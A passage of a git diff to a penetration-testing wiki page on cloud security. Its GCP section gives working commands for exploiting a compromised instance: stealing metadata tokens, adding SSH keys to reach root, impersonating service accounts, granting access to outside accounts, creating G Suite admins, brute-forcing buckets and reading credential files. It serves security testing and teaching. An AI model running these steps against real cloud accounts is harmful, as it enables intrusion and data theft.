\([https://portal.azure.com/\#blade/HubsExtension/BrowseResource/resourceType/Microsoft.Web%2Fsites](https://portal.azure.com/#blade/HubsExtension/BrowseResource/resourceType/Microsoft.Web%2Fsites)\) and check if anyone is being used. In that case check go through each App checking for "Access Restrictions" and there aren't rules, report it. The access to the app service should be restricted according to the needs. + _Select the SQL server_ --> _Make sure that 'Advanced data security' is set to 'On'_ --> _Under 'Vulnerability assessment settings', set 'Periodic recurring scans' to 'On', and configure a storage account for storing vulnerability assessment scan results_ --> _Click Save_ +* **Lack of App Services restrictions**: Look for "App Services" in Azure ([https://portal.azure.com/#blade/HubsExtension/BrowseResource/resourceType/Microsoft.Web%2Fsites](https://portal.azure.com/#blade/HubsExtension/BrowseResource/resourceType/Microsoft.Web%2Fsites)) and check if anyone is being used. In that case check go through each App checking for "Access Restrictions" and there aren't rules, report it. The access to the app service should be restricted according to the needs. ## Office365 -You need **Global Admin** or at least **Global Admin Reader** \(but note that Global Admin Reader is a little bit limited\). However, those limitations appear in some PS modules and can be bypassed accessing the features via the web application. +You need **Global Admin** or at least **Global Admin Reader** (but note that Global Admin Reader is a little bit limited). However, those limitations appear in some PS modules and can be bypassed accessing the features via the web application. ## AWS @@ -109,11 +108,13 @@ Get objects in graph: [https://github.com/FSecureLABS/awspx](https://github.com/ ## GPC -If you find a **SSRF** in an application running in [**GPC checkout this information**](../pentesting-web/ssrf-server-side-request-forgery.md#6440)**.** -If a **SQL database** \(like MySQL\) is used in a GPC machine, users may misconfigure it and open it to the Internet. Try to connect. \([**MySQL**](../pentesting/pentesting-mysql.md), [**PostgreSQL**](../pentesting/pentesting-postgresql.md)\) +If you find a **SSRF** in an application running in [**GPC checkout this information**](../pentesting-web/ssrf-server-side-request-forgery.md#6440)**.**\ +****If a **SQL database** (like MySQL) is used in a GPC machine, users may misconfigure it and open it to the Internet. Try to connect. ([**MySQL**](../pentesting/pentesting-mysql.md), [**PostgreSQL**](../pentesting/pentesting-postgresql.md))\ **Google Cloud Storage publicly exposed**: Sometimes a bucket can be miss-configured and left accessible by everyone. If miss-configured, accessing via HTTP you will find a list of the files stored there: -![](../.gitbook/assets/image%20%28616%29.png) +![](<../.gitbook/assets/image (618).png>) + +Tool to enumerate GCP externally: [https://github.com/initstring/cloud_enum/blob/master/enum_tools/gcp_checks.py](https://github.com/initstring/cloud_enum/blob/master/enum_tools/gcp_checks.py), [https://github.com/0xsha/CloudBrute](https://github.com/0xsha/CloudBrute), [https://github.com/jordanpotti/CloudScraper](https://github.com/jordanpotti/CloudScraper) ```bash # Use leaked service account @@ -130,7 +131,7 @@ docker run --rm -ti gcr.io//secret:v1 sh Every Compute Instance has access to a dedicated [metadata server](https://cloud.google.com/compute/docs/storing-retrieving-metadata) via the IP address 169.254.169.254. You can identify it as a host file entry like the one below: -```text +``` $ cat /etc/hosts [...] 169.254.169.254 metadata.google.internal # Added by Google @@ -140,30 +141,30 @@ This metadata server allows any processes running on the instance to query Googl For example, the following command will return information specific to the Compute Instance it is run from. -```text +``` $ curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" \ -H "Metadata-Flavor: Google" ``` **Service accounts** -By default virtual machines are assigned the default user account, which has high privileges. Administrators can choose to assign a different service account or no service account at all. +By default virtual machines are assigned the default user account, which has high privileges. Administrators can choose to assign a different service account or no service account at all.\ To get the accounts available from the machine you can run: -```text +``` gcloud auth list ``` Default service accounts will look like one of the following: -```text +``` PROJECT_NUMBER-compute@developer.gserviceaccount.com PROJECT_ID@appspot.gserviceaccount.com ``` A custom service account will look like this: -```text +``` SERVICE_ACCOUNT_NAME@PROJECT_NAME.iam.gserviceaccount.com ``` @@ -171,11 +172,11 @@ If `gcloud auth list` returns **multiple accounts** available, something interes **Access scopes** -The service account on a GCP Compute Instance will **use OAuth** to communicate with the Google Cloud APIs. When [access scopes](https://cloud.google.com/compute/docs/access/service-accounts#accesscopesiam) are used, the OAuth token that is generated for the instance will have a ****[**scope**](https://oauth.net/2/scope/) **limitation included**. This defines **what API endpoints it can authenticate to**. It does **NOT** define the actual **permissions**. +The service account on a GCP Compute Instance will **use OAuth** to communicate with the Google Cloud APIs. When [access scopes](https://cloud.google.com/compute/docs/access/service-accounts#accesscopesiam) are used, the OAuth token that is generated for the instance will have a** **[**scope**](https://oauth.net/2/scope/)** limitation included**. This defines **what API endpoints it can authenticate to**. It does **NOT** define the actual **permissions**. When using a **custom service account**, Google [recommends](https://cloud.google.com/compute/docs/access/service-accounts#service_account_permissions) that access **scopes** are **not** **used** and to rely **totally on IAM**. The web management portal actually enforces this, but access scopes can still be applied to instances using custom service accounts programatically. -There are **three options** when setting an access scope on a VM instance: +There are **three options **when setting an access scope on a VM instance: * Allow **default** access * All **full** access to all cloud APIs @@ -208,17 +209,17 @@ This `cloud-platform` scope is what we are really hoping for, as it will **allow It is possible to encounter some **conflicts when using both IAM and access scopes**. For example, your service account may have the **IAM** role of **`compute.instanceAdmin`** but the instance you've breached has been crippled with the **scope** **limitation** of `https://www.googleapis.com/auth/compute.readonly`. This would prevent you from making any changes using the OAuth token that's automatically assigned to your instance. -**Identify and access management \(IAM\)** +**Identify and access management (IAM)** IAM permissions are used for fine-grained access control. There are [a lot](https://cloud.google.com/iam/docs/permissions-reference) of them. The permissions are bundled together using three types of [roles](https://cloud.google.com/iam/docs/understanding-roles): * **Primitive** roles: **Owner**, **Editor**, and **Viewer**. These are the old-school way of doing things. The **default** **service** **account** in every project is assigned the **Editor** role. This is **insecure** and we love it. -* **Predefined** roles: These roles are **managed by Google** and are meant to be combinations of most-likely scenarios. One of our favorites is the `compute.instanceAdmin` role, as it allows for easy privilege escalation. +* **Predefined** roles: These roles are **managed by Google **and are meant to be combinations of most-likely scenarios. One of our favorites is the `compute.instanceAdmin` role, as it allows for easy privilege escalation. * **Custom roles**: This allows admins to **group their own set of granular permissions**. -As of this writing, there are 2,574 fine-grained permissions in IAM. These individual permissions are bundled together into a role. A role is connected to a member \(user or service account\) in what Google calls a [binding](https://cloud.google.com/iam/docs/reference/rest/v1/Policy#binding). Finally, this binding is applied at some level of the GCP hierarchy via a [policy](https://cloud.google.com/iam/docs/reference/rest/v1/Policy). +As of this writing, there are 2,574 fine-grained permissions in IAM. These individual permissions are bundled together into a role. A role is connected to a member (user or service account) in what Google calls a [binding](https://cloud.google.com/iam/docs/reference/rest/v1/Policy#binding). Finally, this binding is applied at some level of the GCP hierarchy via a [policy](https://cloud.google.com/iam/docs/reference/rest/v1/Policy). -This policy determines **what actions are allowed** - it is the intersection between accounts, permissions, resources, and \(optionally\) conditions. +This policy determines **what actions are allowed** - it is the intersection between accounts, permissions, resources, and (optionally) conditions. You can try the following command to specifically **enumerate roles assigned** to your service account project-wide in the current project: @@ -237,13 +238,13 @@ Don't worry too much if you get **denied access** to the command above. It's sti More generally, you can shorten the command to the following to get an idea of the **roles assigned project-wide to all members**. -```text +``` gcloud projects get-iam-policy [PROJECT-ID] ``` -Or to see the **IAM** **policy** [**assigned to a single Compute Instance**](https://cloud.google.com/sdk/gcloud/reference/compute/instances/get-iam-policy) you can try the following. +Or to see the **IAM** **policy **[**assigned to a single Compute Instance**](https://cloud.google.com/sdk/gcloud/reference/compute/instances/get-iam-policy) you can try the following. -```text +``` gcloud compute instances get-iam-policy [INSTANCE] --zone [ZONE] ``` @@ -286,13 +287,13 @@ Finally, if neither of these are provided, the application will revert to using Finding the actual JSON file with the service account credentials is generally much more desirable than relying on the OAuth token on the metadata server. This is because the raw service account credentials can be activated without the burden of access scopes and without the short expiration period usually applied to the tokens. -### Local privilege escalation +### Local privilege escalation This section will provide some tips on quick wins for local privilege escalation. If they work right away, great! While getting root locally seems like a logical starting point, though, hacking in the real world is rarely this organized. You may find that you need to jump ahead and grab additional secrets from a later step before you can escalate with these methods. Don't feel discouraged if you can't get local root right away - keep reading and follow the path that naturally unfolds. -#### Follow the scripts! +#### Follow the scripts! Compute Instances are there to do things. To do things in Google, they will use their service accounts. And to do things with those service accounts, they likely use scripts! @@ -310,24 +311,24 @@ Look for references to the `gcloud` command in scripts within the instance's met Scripts in general help you understand what the machine is meant to do and will help you in identifying ways to abuse that intended functionality. -#### Modifying the metadata +#### Modifying the metadata If you can **modify** the instance's **metadata**, there are numerous ways to **escalate privileges locally**. There are a few scenarios that can lead to a service account with this permission: -_Default service account_ +_Default service account_\ When using the default service account, the web management console offers the following options for access scopes: -* Allow default access \(default\) +* Allow default access (default) * Allow full access to all Cloud APIs * Set access for each API If option 2 was selected, or option 3 while explicitly **allowing access to the compute API**, then this configuration is vulnerable to escalation. -_Custom service account_ +_Custom service account_\ When using a custom service account, one of the following IAM permissions is necessary to escalate privileges: -* **compute.instances.setMetadata** \(to affect a single instance\) -* **compute.projects.setCommonInstanceMetadata** \(to affect all instances in the project\) +* **compute.instances.setMetadata** (to affect a single instance) +* **compute.projects.setCommonInstanceMetadata** (to affect all instances in the project) Although Google [recommends](https://cloud.google.com/compute/docs/access/service-accounts#associating_a_service_account_to_an_instance) not using access scopes for custom service accounts, it is still possible to do so. You'll need one of the following access scopes: @@ -348,13 +349,13 @@ Let's start by adding our own key to an existing account, as that will probably Check the instance for existing SSH keys. Pick one of these users as they are likely to have sudo rights. -```text +``` $ gcloud compute instances describe [INSTANCE] --zone [ZONE] ``` Look for a section like the following: -```text +``` ... metadata: fingerprint: QCZfVTIlKgs= @@ -367,13 +368,13 @@ Look for a section like the following: ... ``` -Notice the slightly odd format of the public keys - the username is listed at the beginning \(followed by a colon\) and then again at the end. We'll need to match this format. Unlike normal SSH key operation, the username absolutely matters! +Notice the slightly odd format of the public keys - the username is listed at the beginning (followed by a colon) and then again at the end. We'll need to match this format. Unlike normal SSH key operation, the username absolutely matters! Save the lines with usernames and keys in a new text file called `meta.txt`. Let's assume we are targeting the user `alice` from above. We'll generate a new key for ourselves like this: -```text +``` $ ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub ``` @@ -381,7 +382,7 @@ Take the output of the command above and use it to add a line to the `meta.txt` `meta.txt` should now look something like this, including the existing keys and the new key you just generated: -```text +``` alice:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/SQup1eHdeP1qWQedaL64vc7j7hUUtMMvNALmiPfdVTAOIStPmBKx1eN5ozSySm5wFFsMNGXPp2ddlFQB5pYKYQHPwqRJp1CTPpwti+uPA6ZHcz3gJmyGsYNloT61DNdAuZybkpPlpHH0iMaurjhPk0wMQAMJUbWxhZ6TTTrxyDmS5BnO4AgrL2aK+peoZIwq5PLMmikRUyJSv0/cTX93PlQ4H+MtDHIvl9X2Al9JDXQ/Qhm+faui0AnS8usl2VcwLOw7aQRRUgyqbthg+jFAcjOtiuhaHJO9G1Jw8Cp0iy/NE8wT0/tj9smE1oTPhdI+TXMJdcwysgavMCE8FGzZ alice bob:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2fNZlw22d3mIAcfRV24bmIrOUn8l9qgOGj1LQgOTBPLAVMDAbjrM/98SIa1NainYfPSK4oh/06s7xi5B8IzECrwqfwqX0Z3VbW9oQbnlaBz6AYwgGHE3Fdrbkg/Ew8SZAvvvZ3bCwv0i5s+vWM3ox5SIs7/W4vRQBUB4DIDPtj0nK1d1ibxCa59YA8GdpIf797M0CKQ85DIjOnOrlvJH/qUnZ9fbhaHzlo2aSVyE6/wRMgToZedmc6RzQG2byVxoyyLPovt1rAZOTTONg2f3vu62xVa/PIk4cEtCN3dTNYYf3NxMPRF6HCbknaM9ixmu3ImQ7+vG3M+g9fALhBmmF bob alice:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnthNXHxi31LX8PlsGdIF/wlWmI0fPzuMrv7Z6rqNNgDYOuOFTpM1Sx/vfvezJNY+bonAPhJGTRCwAwytXIcW6JoeX5NEJsvEVSAwB1scOSCEAMefl0FyIZ3ZtlcsQ++LpNszzErreckik3aR+7LsA2TCVBjdlPuxh4mvWBhsJAjYS7ojrEAtQsJ0mBSd20yHxZNuh7qqG0JTzJac7n8S5eDacFGWCxQwPnuINeGoacTQ+MWHlbsYbhxnumWRvRiEm7+WOg2vPgwVpMp4sgz0q5r7n/l7YClvh/qfVquQ6bFdpkVaZmkXoaO74Op2Sd7C+MBDITDNZPpXIlZOf4OLb alice @@ -389,13 +390,13 @@ alice:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnthNXHxi31LX8PlsGdIF/wlWmI0fPzuMrv7 Now, you can re-write the SSH key metadata for your instance with the following command: -```text +``` $ gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt ``` You can now access a shell in the context of `alice` as follows: -```text +``` lowpriv@instance:~$ ssh -i ./key alice@localhost alice@instance:~$ sudo id uid=0(root) gid=0(root) groups=0(root) @@ -407,7 +408,7 @@ No existing keys found when following the steps above? No one else interesting i You can follow the same process as above, but just make up a new username. This user will be created automatically and given rights to `sudo`. Scripted, the process would look like this: -```text +``` # define the new account username NEWUSER="definitelynotahacker" @@ -429,7 +430,7 @@ ssh -i ./key "$NEWUSER"@localhost This one is so easy, quick, and dirty that it feels wrong… -```text +``` $ gcloud compute ssh [INSTANCE NAME] ``` @@ -447,8 +448,8 @@ OS Login with two-factor authentication is [enabled](https://cloud.google.com/co The following two IAM permissions control SSH access to instances with OS Login enabled. They can be applied at the project or instance level: -* roles/compute.osLogin \(no sudo\) -* roles/compute.osAdminLogin \(has sudo\) +* roles/compute.osLogin (no sudo) +* roles/compute.osAdminLogin (has sudo) Unlike managing only with SSH keys, these permissions allow the administrator to control whether or not `sudo` is granted. @@ -456,17 +457,17 @@ If you're lucky, your service account has these permissions. You can simply run Similar to using SSH keys from metadata, you can use this strategy to escalate privileges locally and/or to access other Compute Instances on the network. -### Lateral movement +### Lateral movement You've compromised one VM inside a project. Great! Now let's get some more… You can try the following command to get a list of all instances in your current project: -```text +``` $ gcloud compute instances list ``` -#### SSH'ing around +#### SSH'ing around You can use the local privilege escalation tactics above to move around to other machines. Read through those sections for a detailed description of each method and the associated commands. @@ -474,13 +475,13 @@ We can expand upon those a bit by [applying SSH keys at the project level](https After you've identified the strategy for selecting or creating a new user account, you can use the following syntax. -```text +``` gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt ``` If you're really bold, you can also just type `gcloud compute ssh [INSTANCE]` to use your current username on other boxes. -#### Abusing networked services +#### Abusing networked services **Some GCP networking tidbits** @@ -488,10 +489,10 @@ Compute Instances are connected to networks called VPCs or [Virtual Private Clou Each GCP project is provided with a VPC called `default`, which applies the following rules to all instances: -* default-allow-internal \(allow all traffic from other instances on the `default` network\) -* default-allow-ssh \(allow 22 from everywhere\) -* default-allow-rdp \(allow 3389 from everywhere\) -* default-allow-icmp \(allow ping from everywhere\) +* default-allow-internal (allow all traffic from other instances on the `default` network) +* default-allow-ssh (allow 22 from everywhere) +* default-allow-rdp (allow 3389 from everywhere) +* default-allow-icmp (allow ping from everywhere) **Meet the neighbors** @@ -499,13 +500,13 @@ Firewall rules may be more permissive for internal IP addresses. This is especia You can get a nice readable view of all the subnets in the current project with the following command: -```text +``` $ gcloud compute networks subnets list ``` And an overview of all the internal/external IP addresses of the Compute Instances using the following: -```text +``` $ gcloud compute instances list ``` @@ -532,16 +533,16 @@ Unfortunately, there isn't a simple `gcloud` command to spit out all Compute Ins We've automated this completely using [this python script](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_firewall_enum) which will export the following: * CSV file showing instance, public IP, allowed TCP, allowed UDP -* nmap scan to target all instances on ports ingress allowed from the public internet \(0.0.0.0/0\) -* masscan to target the full TCP range of those instances that allow ALL TCP ports from the public internet \(0.0.0.0/0\) +* nmap scan to target all instances on ports ingress allowed from the public internet (0.0.0.0/0) +* masscan to target the full TCP range of those instances that allow ALL TCP ports from the public internet (0.0.0.0/0) Full documentation on that tool is available in the [README](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_firewall_enum/blob/master/README.md). -### Cloud privilege escalation +### Cloud privilege escalation In this section, we'll talk about ways to potentially increase our privileges within the cloud environment itself. -#### Organization-level IAM permissions +#### Organization-level IAM permissions Most of the commands in this blog focus on obtaining project-level data. However, it's important to know that permissions can be set at the highest level of "Organization" as well. If you can enumerate this info, this will give you an idea of which accounts may have access across all of the projects inside an org. @@ -557,7 +558,7 @@ gcloud organizations get-iam-policy [ORG ID] Permissions you see in this output will be applied to EVERY project. If you don't have access to any of the accounts listed, continue reading to the [Service Account Impersonation](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#service-account-impersonation) section below. -#### Bypassing access scopes +#### Bypassing access scopes There's nothing worse than having access to a powerful service account but being limited by the access scopes of your current OAuth token. But fret not! Just the existence of that powerful account introduces risks which we might still be able to abuse. @@ -565,7 +566,7 @@ There's nothing worse than having access to a powerful service account but being It's possible that another box in the environment exists with less restrictive access scopes. If you can view the output of `gcloud compute instances list --quiet --format=json`, look for instances with either the specific scope you want or the `auth/cloud-platform` all-inclusive scope. -Also keep an eye out for instances that have the default service account assigned \(`PROJECT_NUMBER-compute@developer.gserviceaccount.com`\). +Also keep an eye out for instances that have the default service account assigned (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`). **Find service account keys** @@ -577,18 +578,18 @@ The easiest way to do this would be to stumble across a [service account key](ht You can tell which service accounts, if any, have had key files exported for them. This will let you know whether or not it's even worth hunting for them, and possibly give you some hints on where to look. The command below will help. -```text +``` $ for i in $(gcloud iam service-accounts list --format="table[no-heading](email)"); do echo Looking for keys for $i: gcloud iam service-accounts keys list --iam-account $i done ``` -These files are not stored on a Compute Instance by default, so you'd have to be lucky to encounter them. When a service account key file is exported from the GCP console, the default name for the file is \[project-id\]-\[portion-of-key-id\].json. So, if your project name is `test-project` then you can search the filesystem for `test-project*.json` looking for this key file. +These files are not stored on a Compute Instance by default, so you'd have to be lucky to encounter them. When a service account key file is exported from the GCP console, the default name for the file is \[project-id]-\[portion-of-key-id].json. So, if your project name is `test-project` then you can search the filesystem for `test-project*.json` looking for this key file. The contents of the file look something like this: -```text +``` { "type": "service_account", "project_id": "[PROJECT-ID]", @@ -606,7 +607,7 @@ The contents of the file look something like this: Or, if generated from the CLI they will look like this: -```text +``` { "name": "projects/[PROJECT-ID]/serviceAccounts/[SERVICE-ACCOUNT-EMAIL]/keys/[KEY-ID]", "privateKeyType": "TYPE_GOOGLE_CREDENTIALS_FILE", @@ -619,13 +620,13 @@ Or, if generated from the CLI they will look like this: If you do find one of these files, you can tell the `gcloud` command to re-authenticate with this service account. You can do this on the instance, or on any machine that has the tools installed. -```text +``` $ gcloud auth activate-service-account --key-file [FILE] ``` You can now test your new OAuth token as follows: -```text +``` $ TOKEN=`gcloud auth print-access-token` $ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=$TOKEN ``` @@ -638,26 +639,26 @@ It's quite possible that other users on the same box have been running `gcloud` First, find what `gcloud` config directories exist in users' home folders. -```text +``` $ sudo find / -name "gcloud" ``` You can manually inspect the files inside, but these are generally the ones with the secrets: -* ~/.config/gcloud/credentials.db -* ~/.config/gcloud/legacy\_credentials/\[ACCOUNT\]/adc.json -* ~/.config/gcloud/legacy\_credentials/\[ACCOUNT\]/.boto -* ~/.credentials.json +* \~/.config/gcloud/credentials.db +* \~/.config/gcloud/legacy_credentials/\[ACCOUNT]/adc.json +* \~/.config/gcloud/legacy_credentials/\[ACCOUNT]/.boto +* \~/.credentials.json Now, you have the option of looking for clear text credentials in these files or simply copying the entire `gcloud` folder to a machine you control and running `gcloud auth list` to see what accounts are now available to you. -#### Service account impersonation +#### Service account impersonation There are three ways in which you can [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account): -* Authentication using RSA private keys \(covered [above](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#find-service-account-keys)\) -* Authorization using Cloud IAM policies \(covered below\) -* Deploying jobs on GCP services \(more applicable to the compromise of a user account\) +* Authentication using RSA private keys (covered [above](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#find-service-account-keys)) +* Authorization using Cloud IAM policies (covered below) +* Deploying jobs on GCP services (more applicable to the compromise of a user account) It's possible that the service account you are currently authenticated as has permission to impersonate other accounts with more permissions and/or a less restrictive scope. This behavior is authorized by the predefined role called `iam.serviceAccountTokenCreator`. @@ -678,29 +679,29 @@ gcloud compute instances list \ --impersonate-service-account xxx@developer.gserviceaccount.com ``` -#### Exploring other projects +#### Exploring other projects If you're really lucky, either the service account on your compromised instance or another account you've bagged thus far has access to additional GCP projects. You can check with the following command: -```text +``` $ gcloud projects list ``` From here, you can hop over to that project and start the entire process over. -```text +``` $ gcloud config set project [PROJECT-ID] ``` -#### Granting access to management console +#### Granting access to management console -Access to the [GCP management console](https://console.cloud.google.com/) is provided to user accounts, not service accounts. To log in to the web interface, you can grant access to a Google account that you control. This can be a generic "@gmail.com" account, it does not have to be a member of the target organization. +Access to the [GCP management console](https://console.cloud.google.com) is provided to user accounts, not service accounts. To log in to the web interface, you can grant access to a Google account that you control. This can be a generic "@gmail.com" account, it does not have to be a member of the target organization. To grant the primitive role of Owner to a generic "@gmail.com" account, though, you'll need to use the web console. `gcloud` will error out if you try to grant it a permission above Editor. You can use the following command to grant a user the primitive role of Editor to your existing project: -```text +``` $ gcloud projects add-iam-policy-binding [PROJECT] \ --member user:[EMAIL] --role roles/editor ``` @@ -711,21 +712,21 @@ This is the highest level you can assign using the gcloud tool. To assign a perm You need a fairly high level of permission to do this. If you're not quite there, keep reading. -#### Spreading to G Suite via domain-wide delegation of authority +#### Spreading to G Suite via domain-wide delegation of authority -[G Suite](https://gsuite.google.com/) is Google's collaboration and productivity platform which consists of things like Gmail, Google Calendar, Google Drive, Google Docs, etc. Many organizations use some or all of this platform as an alternative to traditional Microsoft AD/Exchange environments. +[G Suite](https://gsuite.google.com) is Google's collaboration and productivity platform which consists of things like Gmail, Google Calendar, Google Drive, Google Docs, etc. Many organizations use some or all of this platform as an alternative to traditional Microsoft AD/Exchange environments. Service accounts in GCP can be granted the rights to programatically access user data in G Suite by impersonating legitimate users. This is known as [domain-wide delegation](https://developers.google.com/admin-sdk/reports/v1/guides/delegation). This includes actions like reading email in GMail, accessing Google Docs, and even creating new user accounts in the G Suite organization. G Suite has [its own API](https://developers.google.com/gsuite/aspects/apis), completely separate from anything else we've explored in this blog. Permissions are granted to G Suite API calls in a similar fashion to how permissions are granted to GCP APIs. However, G Suite and GCP are two different entities - being in one does not mean you automatically have access to another. -It is possible that a G Suite administrator has granted some level of G Suite API access to a GCP service account that you control. If you have access to the Web UI at this point, you can browse to IAM -> Service Accounts and see if any of the accounts have "Enabled" listed under the "domain-wide delegation" column. The column itself may not appear if no accounts are enabled. As of this writing, there is no way to do this programatically, although there is a [request for this feature](https://issuetracker.google.com/issues/116182848) in Google's bug tracker. +It is possible that a G Suite administrator has granted some level of G Suite API access to a GCP service account that you control. If you have access to the Web UI at this point, you can browse to IAM -> Service Accounts and see if any of the accounts have "Enabled" listed under the "domain-wide delegation" column. The column itself may not appear if no accounts are enabled. As of this writing, there is no way to do this programatically, although there is a [request for this feature](https://issuetracker.google.com/issues/116182848) in Google's bug tracker. It is not enough for you to simply enable this for a service account inside GCP. The G Suite administrator would also have to configure this in the G Suite admin console. Whether or not you know that a service account has been given permissions inside G Suite, you can still try it out. You'll need the service account credentials exported in JSON format. You may have acquired these in an earlier step, or you may have the access required now to create a key for a service account you know to have domain-wide delegation enabled. -This topic is a bit tricky… your service account has something called a "client\_email" which you can see in the JSON credential file you export. It probably looks something like `account-name@project-name.iam.gserviceaccount.com`. If you try to access G Suite API calls directly with that email, even with delegation enabled, you will fail. This is because the G Suite directory will not include the GCP service account's email addresses. Instead, to interact with G Suite, we need to actually impersonate valid G Suite users. +This topic is a bit tricky… your service account has something called a "client_email" which you can see in the JSON credential file you export. It probably looks something like `account-name@project-name.iam.gserviceaccount.com`. If you try to access G Suite API calls directly with that email, even with delegation enabled, you will fail. This is because the G Suite directory will not include the GCP service account's email addresses. Instead, to interact with G Suite, we need to actually impersonate valid G Suite users. What you really want to do is to impersonate a user with administrative access, and then use that access to do something like reset a password, disable multi-factor authentication, or just create yourself a shiny new admin account. @@ -752,15 +753,15 @@ We've created [this Python script](https://gitlab.com/gitlab-com/gl-security/gl- You can try this script across a range of email addresses to impersonate various users. Standard output will indicate whether or not the service account has access to G Suite, and will include a random password for the new admin account if one is created. -If you have success creating a new admin account, you can log on to the [Google admin console](https://admin.google.com/) and have full control over everything in G Suite for every user - email, docs, calendar, etc. Go wild. +If you have success creating a new admin account, you can log on to the [Google admin console](https://admin.google.com) and have full control over everything in G Suite for every user - email, docs, calendar, etc. Go wild. -### Treasure hunting +### Treasure hunting As hackers, we want a root shell. Just because. But in the real world, what matters is acquiring digital assets - not escalating privileges. While a root shell may help us get there, it's not always required. The following sections detail tactics to view and exfiltrate data from various Google services. If you have been unable to achieve any type of privilege escalation thus far, it is quite likely that working through the following sections will help you uncover secrets that can be used again in earlier steps, finally giving you that sweet root shell you so desire. -#### Accessing databases +#### Accessing databases Most great breaches involve a database of one type or another. You should follow traditional methods inside your compromised instance to enumerate, access, and exfiltrate data from any that you encounter. @@ -793,7 +794,7 @@ gcloud spanner databases list --instance [INSTANCE] gcloud bigtable instances list ``` -#### Enumerating storage buckets +#### Enumerating storage buckets We all love stumbling across open storage buckets, but finding them usually requires brute forcing massive wordlists or just getting lucky and tripping over them in [source code](https://about.gitlab.com/stages-devops-lifecycle/source-code-management/). As shown in the "access scopes" section above, default configurations permit read access to storage. This means that your shell can now enumerate ALL storage buckets in the project, including listing and accessing the contents inside. @@ -826,9 +827,9 @@ You can use a simple bash loop like the following to work through a wordlist. Yo for i in $(cat wordlist.txt); do gsutil ls -r gs://"$i"; done ``` -#### Decrypting secrets with crypto keys +#### Decrypting secrets with crypto keys -[Cloud Key Management Service](https://cloud.google.com/kms/docs/) is a repository for storing cryptographic keys, such as those used to encrypt and decrypt sensitive files. Individual keys are stored in key rings, and granular permissions can be applied at either level. An \[API is available\] for key management and easy encryption/decryption of objects stored in Google storage. +[Cloud Key Management Service](https://cloud.google.com/kms/docs/) is a repository for storing cryptographic keys, such as those used to encrypt and decrypt sensitive files. Individual keys are stored in key rings, and granular permissions can be applied at either level. An \[API is available] for key management and easy encryption/decryption of objects stored in Google storage. If you're lucky, the service account assigned to your breached instance has access to some keys. Perhaps you've even noticed some encrypted files while rummaging through buckets. @@ -851,13 +852,13 @@ gcloud kms decrypt --ciphertext-file=[INFILE] \ --location global ``` -#### Querying custom metadata +#### Querying custom metadata Administrators can add [custom metadata](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom) at the instance and project level. This is simply a way to pass arbitrary key/value pairs into an instance, and is commonly used for environment variables and startup/shutdown scripts. If you followed the steps above, you've already queried the metadata endpoint for all available information. This would have included any custom metadata. You can also use the following commands to view it on its own: -```text +``` # view project metadata $ curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \ -H "Metadata-Flavor: Google" @@ -869,7 +870,7 @@ $ curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/? Maybe you'll get lucky and find something juicy. -#### Reviewing serial console logs +#### Reviewing serial console logs By default, compute instances write output from the OS and BIOS to serial ports. Google provides [a couple of ways](https://cloud.google.com/compute/docs/instances/viewing-serial-port-output) to view these log files. The first is via the compute API and can be executed even via the restrictive "Compute: Read Only" access scope. @@ -877,7 +878,7 @@ Serial console logs may expose sensitive information from the system logs, which You can use the following [gcloud command](https://cloud.google.com/sdk/gcloud/reference/compute/instances/get-serial-port-output) to query the serial port logs: -```text +``` gcloud compute instances get-serial-port-output instance-name \ --port port \ --start start \ @@ -886,26 +887,26 @@ gcloud compute instances get-serial-port-output instance-name \ In addition, serial port logs may be stored to Cloud Logging, if [enabled by an administrator](https://cloud.google.com/compute/docs/instances/viewing-serial-port-output#enable-stackdriver). If you've gained access to read permissions for logging, this may be an alternative method to view this information. Read the "[Reviewing Stackdriver logging](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#reviewing-stackdriver-logging)" section for more info. -#### Reviewing custom images +#### Reviewing custom images Custom compute images may contain sensitive details or other vulnerable configurations that you can exploit. You can query the list of non-standard images in a project with the following command: -```text +``` $ gcloud compute images list --no-standard-images ``` You can then [export](https://cloud.google.com/sdk/gcloud/reference/compute/images/export) the virtual disks from any image in multiple formats. The following command would export the image `test-image` in qcow2 format, allowing you to download the file and build a VM locally for further investigation: -```text +``` $ gcloud compute images export --image test-image \ --export-format qcow2 --destination-uri [BUCKET] ``` -#### Reviewing Custom Instance Templates +#### Reviewing Custom Instance Templates An [instance template](https://cloud.google.com/compute/docs/instance-templates/) defines instance properties to help deploy consistent configurations. These may contain the same types of sensitive data as a running instance's custom metadata. You can use the following commands to investigate: -```text +``` # List the available templates $ gcloud compute instance-templates list @@ -913,7 +914,7 @@ $ gcloud compute instance-templates list $ gcloud compute instance-templates describe [TEMPLATE NAME] ``` -#### Reviewing Stackdriver logging +#### Reviewing Stackdriver logging [Stackdriver](https://cloud.google.com/stackdriver/) is Google's general-purpose infrastructure logging suite. There is a LOT of data that could be captured here. This can include syslog-like capabilities that report individual commands run inside Compute Instances, HTTP requests sent to load balancers or App Engine applications, network packet metadata for VPC communications, and more. @@ -934,7 +935,7 @@ projects/REDACTED/logs/compute.googleapis.com%2Factivity_log The output you see will be all of the log folders in the project that contain entries. So, if you see it - something is there. Folders are generated automatically by the standard Google APIs but can also be created by any application with IAM permissions to write to logs. -You may notice an interesting custom name in the list above \(unfortunately, `bash.history` is not a default\). While you should inspect all log entries, 